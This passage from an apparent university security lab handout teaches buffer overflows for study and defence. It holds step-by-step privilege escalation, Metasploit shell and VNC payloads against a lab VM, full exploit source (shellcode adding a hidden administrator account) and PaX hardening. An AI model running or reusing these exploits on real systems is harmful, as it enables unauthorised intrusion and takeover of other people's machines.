compromised and the program will stop execution.
Another such tool is called the Stack Shield, which adds protection from stack overflows
without changing the code. It causes the program to copy the RET address to an
unoverflowable location on function beginnings and checks it with the RET address
before the function returns. If the two values are different, the program crashes. Stack
Shield is an assembler file processor and relies on the GCC/G++ front ends to automate
compilation. It can be downloaded from
http://www.angelfire.com/sk/stackshield/download.html.
There are numerous tools to find flaws in code today. One of these tools is Flawfinder.
Flawfinder analyzes C/C++ source files and warns of any potential problems in the code.
When run on a source file flawfinder will show any gets, printf, strcpy commands and
others that might cause vulnerabilities in the code. One nice feature of flawfinder is that
the code need not be compiled to test it.
http://www.dwheeler.com/flawfinder/flawfinder-1.26.tar.gz
Section VI - Obtaining Administrator Privileges on Windows
using a Buffer Overflow Attack
If an attacker has a “Limited” account on:
* Microsoft Windows 2000 Service Pack 3 and Microsoft Windows 2000 Service Pack 4
* Microsoft Windows XP Service Pack 1 and Microsoft Windows XP Service Pack 2
* Microsoft Windows XP 64-Bit Edition Service Pack 1 (Itanium)
* Microsoft Windows XP 64-Bit Edition Version 2003 (Itanium)
* Microsoft Windows Server 2003
* Microsoft Windows Server 2003 for Itanium-based Systems
* Microsoft Windows 98, Microsoft Windows 98 Second Edition (SE), and Microsoft
Windows Millennium Edition (ME)
he/she can obtain administrator privileges by performing a buffer overflow in windows’
CSRSS which is the user-mode part of Win32 subsystem. The exploit is downloaded
from:
20
http://www.frsirt.com/exploits/20050905.MS05-018-CSRSS.c.php
This exploit creates an account called “e” with Administrator’s privileges. The Password
is: “asd#321”;
The exploit requires you to know the Process ID of “WINLOGON.EXE”. This is done in
step 4. Make sure you are running the project in a “Limited” account in order to see the
exploit work. To run it:
1. Click Start > Run
2. Type cmd
3. Go to the path of the *.exe file
4. Enter tasklist. You will now see the processes that are running on your machine.
Find the one that says “WINLOGON.EXE” and write down the PID, which is
displayed at the bottom-left of the process window.
5. Enter the name of the file .exe which was created by Visual Studio followed by
the PID copied earlier.
The command line will close and trying to run it again will cause an error. Reboot your
computer and login as:
USERNAME: e
PASSWORD: asd#321
You now have Administrator’s privileges!!! You can verify this by looking at the users
on your computer (Start > Control Panel > User Accounts) and checking your privileges.
It will say Computer Administrator.
21
Section VII – Watching a Buffer overflow in action
Understanding the nuances of the stack is a challenge for all those who attempt to write a
buffer overflow. This introductory part will help clear out many misconceptions as well
as provide a firm foundation for understanding the remaining parts of the assignment.
1. Download Ollydbg: OllyDbg is a 32-bit assembler level analysing debugger for
Microsoft® Windows®. Emphasis on binary code analysis makes it particularly
useful in cases where source is unavailable.
[http://www.ollydbg.de/download.htm]
2. Extract into a folder and double click the OLLYDBG.EXE file
3. In the menu go to OPTIONS > JUST IN TIME DEBUGGING
4. Select <Make OllyDbg just in time debugger>
5. Select <Attach without confirmation>
6. Select <Done>
7. Now, download the exe provided as part of this lab [We will provide the exe]
The exe you have just downloaded is a simple program, very similar to the one described
in AlephOne’s paper (Smashing the Stack). The code for the exe is displayed below.
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
void overflow (char * longstr)
{
char buff[32];
strcpy(buff, longstr);
}
void main (int argc, char* argv[])
{
if(argc != 2)
{
printf("Usage EXE <Argument>");
exit(0);
}
__asm{int 03h};
// Code to generate a breakpoint for the debugger
overflow(argv[1]);
}
22
Notice the __asm{int 03h}; instruction. INT 03H is an instruction that causes a
breakpoint. This breakpoint causes a debugger to be invoked, allowing us to view the
contents of the stack before the function is called. This line of code in NO WAY modifies
the execution of the program. It is only placed so that the debugger is invoked, allowing
us to easily study the execution of the code.
To begin the demonstration, perform the following task.
1. Go to Start > Run > cmd
2. Execute the program by typing
C:\exename.exe @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
3. An exception occurs and the debugger is now invoked
CPU Registers
Code Window
Instruction that caused
the debugger to load.
Stack Window
23
Notice the following:
(a) The value of EIP and the address of the instruction INT 3, is the same
(0040104D). This is the location where the Instruction Pointer (EIP) is, and it is
pointing to the current instruction which is executing.
(b) Following this instruction, at 00401054, is the instruction PUSH ECX. This
pushes a pointer to the value of ARGV[1] onto the stack
(c) Then there is a CALL instruction. This instruction calls the function overflow,
which resides at location 00401000.
To watch the execution, press F7 repeatedly to notice the following events taking place.
If we proceed to step through the execution, we notice that at the instruction
00401021:
F3:A5
REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
The stack starts filling up with 40404040…
Instruction that starts copying the string onto
the stack from memory
Location on the stack where the buffer begins
The address on the stack where the debugger starts displaying the 40404040 indicates the
start of the buffer we
24
The address on the stack where the debugger starts displaying the 40404040 indicates the
start of the buffer we wish to exploit. This is the address which we would have to make
our return address point to.
As we proceed with the execution, we notice the
entire stack being overwritten with 40s.
The stack now gets completely filled with 40s
The debugger then returns the error :
This indicates that we managed to overwrite the address with 40404040 (which is the
ASCII value for @@@@)
Now, we can modify this address by placing any value we want into the buffer, thus
causing it to jump to the address of our choosing…
To find out where the return address was stored, all we have to do is to send instead of
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,
we send
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz123456789
So, when we get the memory exception, it will tell us exactly where in our buffer the
return address is to be placed for us to jump to any arbitrary location.
And then we look to see how we can overwrite this address to point into our stack and
into our shell code.
25
Now, we know that 6A = j, 69 = i, 68 = h, 67 = g
So, in our overflow value, we can put, (in place of “ghij”), whatever value we wish and
cause the program execution to jump to that location and resume execution.
Thus, the format of a buffer overflow exploit would be
NOP Buffer
Exploit Shell Code
Jump into NOP Buffer*
Jump into NOP Buffer*
Jump into NOP Buffer*
* The JUMP will contain the address of the start of the buffer. In this case 0012FF58.
Thus, we know exactly where in the buffer the Jump instruction is and where exactly we
need to jump to start our shell code.
Section VIII – Automated Toolkits to Write Buffer Overflow Exploits
Metasploit Framework
This tool was the first open-source and freely available exploit development framework, and in
the year following its release, MSF rapidly grew to be one of the security community’s most
popular tools. This tool reduces the time and background knowledge required to develop and run
functional exploits.
Here is a simple example to demonstrate the power of this tool. We will attack the
Windows XP virtual machine.
26
1) Start up the Windows XP virtual machine.
2) Copy the Metasploit framework from the folder Lab4 on the nas: framework2.4.tar.gz and extract it’s contents using tar –zxvf framework-2.4.tar.gz
3) Change to the directory cd framework-2.4
4) Listed you will find many of the metasploit tools
[root@group32 framework-2.4]# ls
data
exploits msfcli
msfencode
docs
extras
msfconsole msflogdump
encoders lib
msfelfscan msfpayload
msfpescan
msfupdate
msfweb
nops
payloads
sdk
src
tools
The framework contains multiple interfaces: a command line interface (msfcli), a
console interface (msfconsole) and a web interface (msfweb).
This tool is also available freely and can be run on Windows with it’s cygwin
installer.
5) We will use the console interface msfconsole. Run ./msfconsole
[root@group32 framework-2.4]# ./msfconsole
(ie Term::Read Line::Gnu)
##
## ## #### ###### #### #####
#####
####### ## ## ## ##
## ## ##
####### ###### ## #####
#### ## ##
## # ##
## ## ## ## ##
#####
##
## #### ###
#####
#####
##
##
###
##
##
##
##
####
##
####
## ##
## ##
## ##
####
##
######
###
##
##
##
##
##
#### ###
+ -- --=[ msfconsole v2.4 [75 exploits - 75 payloads]
6) Type show exploits to see a list of exploits the framework contains.
msf > show exploits
Metasploit Framework Loaded Exploits
====================================
3com_3cdaemon_ftp_overflow
Credits
afp_loginext
aim_goaway
apache_chunked_win32
arkeia_agent_access
arkeia_type77_macos
arkeia_type77_win32
backupexec_ns
bakbone_netvault_heap
blackice_pam_icq
cabrightstor_disco
cabrightstor_disco_servicepc
cabrightstor_uniagent
calicclnt_getconfig
calicserv_getconfig
distcc_exec
exchange2000_xexch50
globalscapeftp_user_input
3Com 3CDaemon FTP Server Overflow
Metasploit Framework Credits
AppleFileServer LoginExt PathName Overflow
AOL Instant Messenger goaway Overflow
Apache Win32 Chunked Encoding
Arkeia Backup Client Remote Access
Arkeia Backup Client Type 77 Overflow (Mac OS X)
Arkeia Backup Client Type 77 Overflow (Win32)
Veritas Backup Exec Name Service Overflow
BakBone NetVault Remote Heap Overflow
ISS PAM.dll ICQ Parser Buffer Overflow
CA BrightStor Discovery Service Overflow
CA BrightStor Discovery Service SERVICEPC Overflow
CA BrightStor Universal Agent Overflow
CA License Client GETCONFIG Overflow
CA License Server GETCONFIG Overflow
DistCC Daemon Command Execution
Exchange 2000 MS03-46 Heap Overflow
GlobalSCAPE Secure FTP Server user input overflow
27
ia_webmail
icecast_header
iis40_htr
iis50_printer_overflow
iis50_webdav_ntdll
iis_fp30reg_chunked
iis_nsiislog_post
iis_source_dumper
iis_w3who_overflow
imail_imap_delete
imail_ldap
irix_lpsched_exec
lsass_ms04_011
maxdb_webdbm_get_overflow
mercantec_softcart
minishare_get_overflow
msasn1_ms04_007_killbill
msmq_deleteobject_ms05_017
msrpc_dcom_ms03_026
mssql2000_preauthentication
mssql2000_resolution
netterm_netftpd_user_overflow
openview_omniback
oracle9i_xdb_ftp
oracle9i_xdb_ftp_pass
payload_handler
poptop_negative_read
realserver_describe_linux
samba_nttrans
samba_trans2open
samba_trans2open_osx
samba_trans2open_solsparc
sambar6_search_results
seattlelab_mail_55
sentinel_lm7_overflow
servu_mdtm_overflow
smb_sniffer
solaris_dtspcd_noir
solaris_kcms_readfile
solaris_lpd_exec
solaris_sadmind_exec
solaris_snmpxdmid
solaris_ttyprompt
squid_ntlm_authenticate
svnserve_date
trackercam_phparg_overflow
uow_imap4_copy
uow_imap4_lsub
ut2004_secure_linux
ut2004_secure_win32
warftpd_165_pass
warftpd_165_user
webstar_ftp_user
windows_ssl_pct
wins_ms04_045
wsftp_server_503_mkd
IA WebMail 3.x Buffer Overflow
Icecast (<= 2.0.1) Header Overwrite (win32)
IIS 4.0 .HTR Buffer Overflow
IIS 5.0 Printer Buffer Overflow
IIS 5.0 WebDAV ntdll.dll Overflow
IIS FrontPage fp30reg.dll Chunked Overflow
IIS nsiislog.dll ISAPI POST Overflow
IIS Web Application Source Code Disclosure
IIS w3who.dll ISAPI Overflow
IMail IMAP4D Delete Overflow
IMail LDAP Service Buffer Overflow
Irix lpsched Command Execution
Microsoft LSASS MSO4-011 Overflow
MaxDB WebDBM GET Buffer Overflow
Mercantec SoftCart CGI Overflow
Minishare 1.41 Buffer Overflow
Microsoft ASN.1 Library Bitstring Heap Overflow
Microsoft Message Queueing Service MSO5-017
Microsoft RPC DCOM MSO3-026
MSSQL 2000/MSDE Hello Buffer Overflow
MSSQL 2000/MSDE Resolution Overflow
NetTerm NetFTPD USER Buffer Overflow
HP OpenView Omniback II Command Execution
Oracle 9i XDB FTP UNLOCK Overflow (win32)
Oracle 9i XDB FTP PASS Overflow (win32)
Metasploit Framework Payload Handler
Poptop Negative Read Overflow
RealServer Describe Buffer Overflow
Samba Fragment Reassembly Overflow
Samba trans2open Overflow
Samba trans2open Overflow (Mac OS X)
Samba trans2open Overflow (Solaris SPARC)
Sambar 6 Search Results Buffer Overflow
Seattle Lab Mail 5.5 POP3 Buffer Overflow
SentinelLM UDP Buffer Overflow
Serv-U FTPD MDTM Overflow
SMB Password Capture Service
Solaris dtspcd Heap Overflow
Solaris KCMS Arbitary File Read
Solaris LPD Command Execution
Solaris sadmind Command Execution
Solaris snmpXdmid AddComponent Overflow
Solaris in.telnetd TTYPROMPT Buffer Overflow
Squid NTLM Authenticate Overflow
Subversion Date Svnserve
TrackerCam PHP Argument Buffer Overflow
University of Washington IMAP4 COPY Overflow
University of Washington IMAP4 LSUB Overflow
Unreal Tournament 2004 "secure" Overflow (Linux)
Unreal Tournament 2004 "secure" Overflow (Win32)
War-FTPD 1.65 PASS Overflow
War-FTPD 1.65 USER Overflow
WebSTAR FTP Server USER Overflow
Microsoft SSL PCT MS04-011 Overflow
Microsoft WINS MS04-045 Code Execution
WS-FTP Server 5.03 MKD Overflow
That’s a lot of exploits!!
6) For now we will run an RPC exploit msrpc_dcom_ms03_026
DCOM MSO3-026
But first let’s see what it does:
msf > info msrpc_dcom_ms03_026
28
Microsoft RPC
Name:
Class:
Version:
Target OS:
Keywords:
Privileged:
Microsoft RPC DCOM MSO3-026
remote
$Revision: 1.39 $
win32, win2000, winnt, winxp, win2003
dcom
Yes
Provided By:
H D Moore <hdm [at] metasploit.com>
spoonm <ninjatools [at] hush.com>
Available Targets:
Windows NT SP6/2K/XP/2K3 ALL
Available Options:
Exploit:
-------required
required
Name
-----RHOST
RPORT
Default
------135
Description
-----------------The target address
The target port
Payload Information:
Space: 998
Avoid: 7 characters
| Keys: noconn tunnel bind ws2ord reverse
Nop Information:
SaveRegs: esp ebp
| Keys:
Encoder Information:
| Keys:
Description:
This module exploits a stack overflow in the RPCSS service, this
vulnerability was originally found by the Last Stage of Delirium
research group and has been widely exploited ever since. This
module can exploit the English versions of Windows NT 4.0 SP6,
Windows 2000, Windows XP, and Windows 2003 all in one request :)
References:
http://www.osvdb.org/2100
http://www.microsoft.com/technet/security/bulletin/MS03-026.mspx
So the exploit we are running is a stack overflow exploit.
7) To select the exploit type in “use <exploitname>” and then see the options that are
required to be provided.
msf > use msrpc_dcom_ms03_026
msf msrpc_dcom_ms03_026 > show options
Exploit Options
===============
Exploit:
Name
------------required
RHOST
Default
-------
Description
-----------------The target address
29
required
RPORT
135
The target port
Target: Windows NT SP6/2K/XP/2K3 ALL
8) Set all the options that are required. Set the RHOST to the ip of the Windows XP
virtual machine.
msf msrpc_dcom_ms03_026 > set RHOST 57.35.6.168
RHOST -> 57.35.6.168
9) The best part about metasploit is that multiple payloads can be used for the same
exploit. In our previous examples we just got a shell. Further we will demonstrate other
payloads. For now we will start with getting a shell as shown.
msf msrpc_dcom_ms03_026 > show payloads
Metasploit Framework Usable Payloads
====================================
win32_adduser
win32_bind
win32_bind_dllinject
win32_bind_meterpreter
win32_bind_stg
win32_bind_stg_upexec
win32_bind_vncinject
win32_exec
win32_passivex
Payload
win32_passivex_meterpreter
Meterpreter Payload
win32_passivex_stg
win32_passivex_vncinject
Server Payload
win32_reverse
win32_reverse_dllinject
win32_reverse_meterpreter
win32_reverse_ord
win32_reverse_ord_vncinject
Inject
win32_reverse_stg
win32_reverse_stg_upexec
win32_reverse_vncinject
Windows
Windows
Windows
Windows
Windows
Windows
Windows
Windows
Windows
Execute net user /ADD
Bind Shell
Bind DLL Inject
Bind Meterpreter DLL Inject
Staged Bind Shell
Staged Bind Upload/Execute
Bind VNC Server DLL Inject
Execute Command
PassiveX ActiveX Injection
Windows PassiveX ActiveX Inject
Windows Staged PassiveX Shell
Windows PassiveX ActiveX Inject VNC
Windows
Windows
Windows
Windows
Windows
Reverse Shell
Reverse DLL Inject
Reverse Meterpreter DLL Inject
Staged Reverse Ordinal Shell
Reverse Ordinal VNC Server
Windows Staged Reverse Shell
Windows Staged Reverse Upload/Execute
Windows Reverse VNC Server Inject
msf msrpc_dcom_ms03_026 > set PAYLOAD win32_bind
PAYLOAD -> win32_bind
msf msrpc_dcom_ms03_026(win32_bind) > show options
Exploit and Payload Options
===========================
Exploit:
-------required
required
Name
-----RHOST
RPORT
Default
----------57.35.6.168
135
Description
-----------------The target address
The target port
30
Payload:
Name
---------------------required
EXITFUNC
"thread", "seh"
required
LPORT
Default
-------
Description
----------------------------------
thread
Exit technique: "process",
4444
Listening port for bind shell
Target: Windows NT SP6/2K/XP/2K3 ALL
Type exploit to run the exploit
msf
[*]
[*]
[*]
msrpc_dcom_ms03_026(win32_bind) > exploit
Starting Bind Handler.
Connected to REMACT with group ID 0x35c5
Got connection from 57.35.6.166:32781 <-> 57.35.6.168:4444
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>exit
exit
[*] Exiting Bind Handler.
9) Now we will change the payload to completely control the windows box by injecting a
VNC server. Use the command ‘SET PAYLOAD win32_bind_vncinject’
msf msrpc_dcom_ms03_026(win32_bind) > set PAYLOAD win32_bind_vncinject
PAYLOAD -> win32_bind_vncinject
msf msrpc_dcom_ms03_026(win32_bind_vncinject) > show options
Exploit and Payload Options
===========================
Exploit:
-------required
required
Name
-----RHOST
RPORT
Default
----------57.35.6.168
135
Description
-----------------The target address
The target port
Payload:
Name
Default
Description
----------------------------------------------------------------------------------------------------------required
VNCDLL
/root/Lab4/Metasploit/framework-2.4//data/vncdll.dll
The full path the VNC service dll
required
EXITFUNC
thread
Exit technique: "process", "thread", "seh"
required
AUTOVNC
1
Automatically launch vncviewer
required
VNCPORT
5900
The local port to use for the VNC proxy
required
LPORT
4444
Listening port for bind shell
Target: Windows NT SP6/2K/XP/2K3 ALL
msf msrpc_dcom_ms03_026(win32_bind_vncinject) > exploit
[*] Starting Bind Handler.
[*] Connected to REMACT with group ID 0x35c6
31
[*]
[*]
[*]
[*]
[*]
[*]
Got connection from 57.35.6.166:32784 <-> 57.35.6.168:4444
Sending Stage (2834 bytes)
Sleeping before sending dll.
Uploading dll to memory (348170), Please wait...
Upload completed
VNC proxy listening on port 5900...
VNC viewer for X version 4.0 - built Nov 24 2004 16:03:27
Copyright (C) 2002-2004 RealVNC Ltd.
See http://www.realvnc.com for information on VNC.
Mon Oct 3 13:49:33 2005
CConn:
connected to host 127.0.0.1 port 5900
CConnection: Server supports RFB protocol version 3.3
CConnection: Using RFB protocol version 3.3
TXImage:
Using default colormap and visual, TrueColor, depth 24.
CConn:
Using pixel format depth 6 (8bpp) rgb222
CConn:
Using ZRLE encoding
[*] VNC proxy finished
[*] Exiting Bind Handler.
msf msrpc_dcom_ms03_026(win32_bind_vncinject) >
Voila! A window now opens connected to the VNC server on the windows machine
giving you total control!
32
APPENDIX A: EXPLOIT CODE
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#pragma comment (lib,"Advapi32.lib")
typedef struct _CONSOLE_STATE_INFO {
/* 0x00 */ DWORD cbSize;
/* 0x04 */ COORD ScreenBufferSize;
/* 0x08 */ COORD WindowSize;
/* 0x0c */ POINT WindowPosition;
/* 0x14 */ COORD FontSize;
/* 0x18 */ DWORD FontFamily;
/* 0x1c */ DWORD FontWeight;
/* 0x20 */ WCHAR FaceName[0x200];
} CONSOLE_STATE_INFO, *PCONSOLE_STATE_INFO;
typedef struct xxx
{
DWORD dw[6];
char cmd[0x50];
}address_and_cmd;
char decoder[]=
"\x8b\xdc"
"\xBE\x44\x59\x41\x53\x46\xBF\x44\x59\x34\x53\x47\x43\x39\x33\x75"
"\xFB\x83\xC3\x04\x80\x33\x97\x43\x39\x3B\x75\xF8\x45\x59\x41\x53";
//user=e
//pass=asd#321
char add_user[]=
"\x90\x90\x90\x90\x90\x90\x90\x8D\x7b\x98\xFF\x77\x14\x6A\x00\x68"
"\x2A\x04\x00\x00\xFF\x17\x8B\xD8\x6A\x04\x68\x00\x10\x00\x00\x68"
"\x00\x01\x00\x00\x6A\x00\x53\xFF\x57\x04\x8B\xF0\x6A\x00\x68\x00"
"\x01\x00\x00\x8D\x47\x18\x50\x56\x53\xFF\x57\x08\x33\xC0\x50\x50"
"\x56\xFF\x77\x10\x50\x50\x53\xFF\x57\x0C";
char decode_end_sign[]="EY4S";
char sc[0x200];
char szConsoleTitle[256];
DWORD search_jmpesp()
{
char szDLL[][30] = {"ntdll.dll",
"kernel32.dll",
"user32.dll",
"gdi32.dll",
"winsrv.dll",
"csrsrv.dll",
"basesrv.dll"};
int i,y;
BOOL done;
HMODULE h;
BYTE *ptr;
DWORD addr=0;
for(i=0;i<sizeof(szDLL)/sizeof(szDLL[0]);i++)
{
done = FALSE;
h = LoadLibrary(szDLL[i]);
if(h == NULL)
continue;
printf("[+] start search \"FF E4\" in %s\n", szDLL[i]);
ptr = (BYTE *)h;
for(y = 0;!done;y++)
{
__try
33
{
if(ptr[y] == (BYTE)'\xFF' && ptr[y+1] == (BYTE)'\xE4')
{
addr = (int)ptr + y;
done = TRUE;
printf("[+] found \"FF E4\"(jmp esp) in %X[%s]\n", addr, szDLL[i]);
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
done = TRUE;
}
}
FreeLibrary(h);
if(addr) break;
}
return addr;
}
BOOL make_shellcode(DWORD dwTargetPid)
{
HMODULE hKernel32;
address_and_cmd aac;
int i=0, j=0, size=0;
hKernel32 = LoadLibrary("kernel32.dll");
if(!hKernel32) return FALSE;
aac.dw[0] = (DWORD)GetProcAddress(hKernel32, "OpenProcess");
aac.dw[1] = (DWORD)GetProcAddress(hKernel32, "VirtualAllocEx");
aac.dw[2] = (DWORD)GetProcAddress(hKernel32, "WriteProcessMemory");
aac.dw[3] = (DWORD)GetProcAddress(hKernel32, "CreateRemoteThread");
aac.dw[4] = (DWORD)GetProcAddress(hKernel32, "WinExec");
aac.dw[5] = dwTargetPid;
memset(aac.cmd, 0, sizeof(aac.cmd));
strcpy(aac.cmd, "cmd /c net user e asd#321 /add && net localgroup administrators e /add");
//encode
strcpy(sc, decoder);
for(i=0;i<sizeof(add_user);i++)
add_user[i]^=(BYTE)'\x97';
strcat(sc, add_user);
for(i=0;i<sizeof(aac);i++)
((char *)&aac)[i]^=(BYTE)'\x97';
size=strlen(sc);
memcpy(&sc[size], (char *)&aac, sizeof(aac));
size+=sizeof(aac);
sc[size]='\x0';
strcat(sc, decode_end_sign);
return TRUE;
}
void exploit(HWND hwnd, DWORD dwPid)
{
HANDLE hFile;
LPVOID lp;
int i, index;
DWORD dwJMP;
CONSOLE_STATE_INFO csi;
memset((void *)&csi, 0, sizeof(csi));
csi.cbSize = sizeof(csi);
csi.ScreenBufferSize.X = 0x0050;
csi.ScreenBufferSize.Y = 0x012c;
csi.WindowSize.X = 0x0050;
csi.WindowSize.Y=0x0019;
csi.WindowPosition.x = 0x58;
csi.WindowPosition.y = 0x58;
csi.FontSize.X = 0;
csi.FontSize.Y=0xc;
34
csi.FontFamily = 0x36;
csi.FontWeight = 0x190;
for(i=0;i<0x58;i++)
((char *)csi.FaceName)[i] = '\x90';
dwJMP = search_jmpesp();
if(!dwJMP)
{
printf("[-] search FF E4 failed.\n");
return;
}
memcpy(&((char *)csi.FaceName)[0x58], (char *)&dwJMP, 4);
for(i=0;i<0x20;i++)
strcat((char *)csi.FaceName, "\x90");
index = strlen((char *)csi.FaceName);
if(!make_shellcode(dwPid)) return;
memcpy(&((char *)csi.FaceName)[index], (char *)sc, strlen(sc));
hFile = CreateFileMappingW((void *)0xFFFFFFFF,0,4,0,csi.cbSize,0);
if(!hFile)
{
printf("[-] CreateFileMapping failed:%d\n", GetLastError());
return;
}
printf("[+] CreateFileMapping OK!\n");
lp = MapViewOfFile(hFile, 0x0F001F,0,0,0);
if(!lp)
{
printf("[-] MapViewOfFile failed:%d\n", GetLastError());
return;
}
printf("[+] MapViewOfFile OK!\n");
//copy
memcpy((unsigned short *)lp, (unsigned short *)&csi, csi.cbSize);
printf("[+] Send Exploit!\n");
SendMessageW(hwnd,0x4C9,(WPARAM)hFile,0);
}
void main(int argc, char **argv)
{
DWORD dwRet;
HWND hwnd = NULL;
DWORD dwPid = 0;
HANDLE hSnapshot = NULL;
PROCESSENTRY32 pe;
printf( "MS05-018 windows CSRSS.EXE Stack Overflow exp v1.0\n"
"Affect: Windows 2000 sp3/sp4 (all language)\n"
"Coded by eyas <eyas at xfocus.org>\n"
"http://www.xfocus.net\n\n");
if(argc==2)
{
dwPid = atoi(argv[1]);
}
else
{
printf("Usage: %s pid\n\n", argv[0]);
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
pe.dwSize = sizeof(PROCESSENTRY32);
Process32First(hSnapshot,&pe);
do
{
if( strcmpi(pe.szExeFile, "WINLOGON.EXE") == 0)
{
printf("[+] PID=%d Process=%s\n", pe.th32ProcessID, pe.szExeFile);
}
}
35
while(Process32Next(hSnapshot,&pe)==TRUE);
CloseHandle (hSnapshot);
}
if(!dwPid) return;
if(!FreeConsole())
printf("[-] FreeConsole failed:%d\n", GetLastError());
else
{
printf("[+] FreeConsole ok.\n");
if(!AllocConsole())
printf("[-] AllocConsole failed:%d\n", GetLastError());
else
printf("[+] AllocConsole ok.\n");
}
dwRet = GetConsoleTitle(szConsoleTitle, sizeof(szConsoleTitle));
if(dwRet)
{
printf("[+] Get Console Title OK:\"%s\"\n", szConsoleTitle);
}
else
{
printf("[-] Get Console Title failed.\n");
return;
}
hwnd = FindWindow("ConsoleWindowClass",szConsoleTitle);
if(hwnd)
printf("[+] bingo! found hwnd=%X\n", hwnd);
else
{
printf("[-] can't found hwnd!\n");
return;
}
exploit(hwnd, dwPid);
printf("[+] Done.\n");
}
36
APPENDIX B: PaX – Hardening Stacks through Kernel
Stack-based and heap-based shell code injections require the stack and
data sections to be executable. The shell code is inserted into sections
of memory that are then jumped to and start executing. A variety of
techniques exist of both types but both classes of attack can be
mitigated in a novel way. Prevent code on the stack or heap from being
executed!
PaX is a project that intends to prevent execution in the stack or heap.
PaX calls this noexec and it is currently implemented for Linux and is
available as a patch to the default kernel tree. The project's website
is pax.grsecurity.net and patches can be downloaded from there. We will
use the latest 2.6 kernel patch and deploy it on our Redhat Enterprise
Workstation 4.0 machines.
Some general warnings on worth mentioning. A few legitimate applications
require the stack or heap to be executable. Those applications can
frequently be written in another way to avoid doing that. The protection
offered by execution control is often more valuable than these applications.
A little detail about how PaX does it's magic on i386. A thorough
knowledge of paging and virtual memory is required. Our discussion is
limited to execution protection using the paging unit of the Memory
Managing Unit (an alternative segmentation approach is possible as
well). Most other architectures have hardware support to facilitate
noexec for pages. The i386 architecture does not, so a little trick was
developed.
Because of the locality principle (take a systems course), code
execution and data execution remain in roughly the same area. Intel
provided two Translation Look-aside Buffers (TLBs) for these two types
of access. A TLB is a cache for linear to physical memory mappings. In a
high level, PaX marks all the protected page entries in the Instruction
TLB (ITLB) as non-present. This would normally cause a page fault that
generally swaps the page from disk into memory. Instead of swapping the
page into memory, the page fault handler checks if execution protection
is enabled for that page. If noexec is used for that page, the offended
process will be killed via a signal.
There are several details omitted for simplicity. PaX also tracks which
pages are associated with a processes stack. It keeps the ITLB in a
state to generate a page fault if an offending page is accessed for
instructions. On other architectures, PaX uses the existing hardware
controls. Our wide-spread and antiquated i386s do not have these features.
37
The following documentation describes building a PaX-enabled kernel for
Redhat Enterprise Linux 4.0. It should be generic enough to extend to
other distributions and kernels.
Fetch the following files from a kernel.org mirror (such as
ftp-linux.cc.gatech.edu/pub/kernel.org/) and pax.grsecurity.net
respectively. Copy them to your lab machine (CD-R or USB pendrive
suggested).
linux-2.6.11.12.tar.bz2 – kernel source
grsecurity-2.1.6-2.6.11.12-200506141713.patch.gz
Extract kernel source so we can build our new kernel:
cd /usr/src
tar xvfj /path/to/linux-2.6.11.12.tar.bz2 .
The default kernel source tree does not incorporate Grsecurity. It is
necessary to patch the kernel:
cp /path/to/grsecurity...patch.gz .
gunzip grsecurity...patch.gz
cd linux-2.6.11.12
patch -p1 <../gresecurity...patch
Examine the current running kernel so we know which .config file to base
our work from:
uname -a
Copy the xisiting kernel config from running kernel source tree. We were
running 2.6.9-11.EL-smp-i686 and so:
cp /usr/src/kernels/2.6.9-11.EL-smp-i686/.config .
Modify the kernel configuration to enable the features we want for
noexec. First bring up the configuration mechanism:
make menuconfig
Select the following options (* means compiled in):
Security->Grsecurity->*
Security->PaX->Enable various PaX features->*
Paging based non-executable pages->*
Security->PaX->Address Space Layout Randomization->*
Save and exit menuconfig.
Now our kernel is configured correctly but not yet built. To build the
kernel and associated modules:
make dep bzImage modules modules_install
38
Linux uses an initial ramdisk to load extra modules during the boot
process. Make the initial ramdisk:
mkinitrd /boot/initrd-2.6.11.12-pax.img 2.6.11.12-grsec
Add new kernel option to bootloader. Redhat uses grub which is a fine
option. Put the kernel into the appropriate location:
cp arch/i386/boot/bzImage /boot/vmlinuz-2.6.11.12-pax
Grub uses a configuration file to tell it how to boot each kernel or
operating system choice. Add the following four lines to
/boot/grub/grub.conf
title Red Hat Enterprise Linux 2.6.11.12-pax
root (hd0,0)
kernel /vmlinuz-2.6.11.12-pax ro
root=/dev/VolGroup00/LogVol00 \ rhgb quiet
/initrd /initrd-2.6.11.12-pax.img
Reboot and select new kernel option in grub.
Verify new kernel is 2.6.11.12-pax:
uname -a
Our system came back up without any problems. Sometimes our
modifications might not be bootable or we fail to add something Redhat
needs. That's why we tried to stay as close to Redhat's configuration as
possible.
The new kernel can generally defeat most of the traditional shell code
techniques described in Smashing the Stack for Fun and Profit. Run the
examples on the RHEL now and the processes should terminate immediately
as they try and execute from the stack. Neat!
39
APPENDIX C: Buffer Overflow
1 Advances in Buffer Overflow
1.1 First generation – Stack overflow
The Buffer overflow technique described in Aleph One’s paper is limited to
Stacks. Such attacks are classified as First generation Attacks. We will describe newer
trends in Buffer overflow.
1.2.1 Second generation - Heap Overflows
A common misconception by programmers is that by dynamically allocating
memory (utilizing heaps) they can avoid using the stack, and thus, reduce the likelihood
of exploitation. While stack overflows may be the low-hanging fruit, utilizing heaps does
not instead eliminate the possibility of exploitation. The HeapA heap is memory that has
been dynamically allocated. This memory is logically separate from the memory
allocated for the stack and code. Heaps are dynamically created (e.g., new, malloc) and
removed (e.g., delete,free). Heaps are generally used because the size of memory needed
by the program is not known ahead of time, or is larger than the stack. The memory,
where heaps are located, generally do not contain return addresses such as the stack.
Thus, without the ability to overwrite saved return addresses, redirecting execution is
potentially more difficult. However, that does not mean by utilizing heaps, one is secure
from buffer overflows and exploitation.
By overflowing a heap, one does not typically affect EIP. However, overflowing
heaps can potentially overwrite data or modify pointers to data or functions. For example,
on a locked down system one may not be able to write to C:\AUTOEXEC.BAT.
However, if a program with system rights had a heap buffer overflow, instead of writing
to some temporary file, someone could change the pointer to the temporary file name to
instead point to the string C:\AUTOEXEC.BAT, and thus, induce the program with
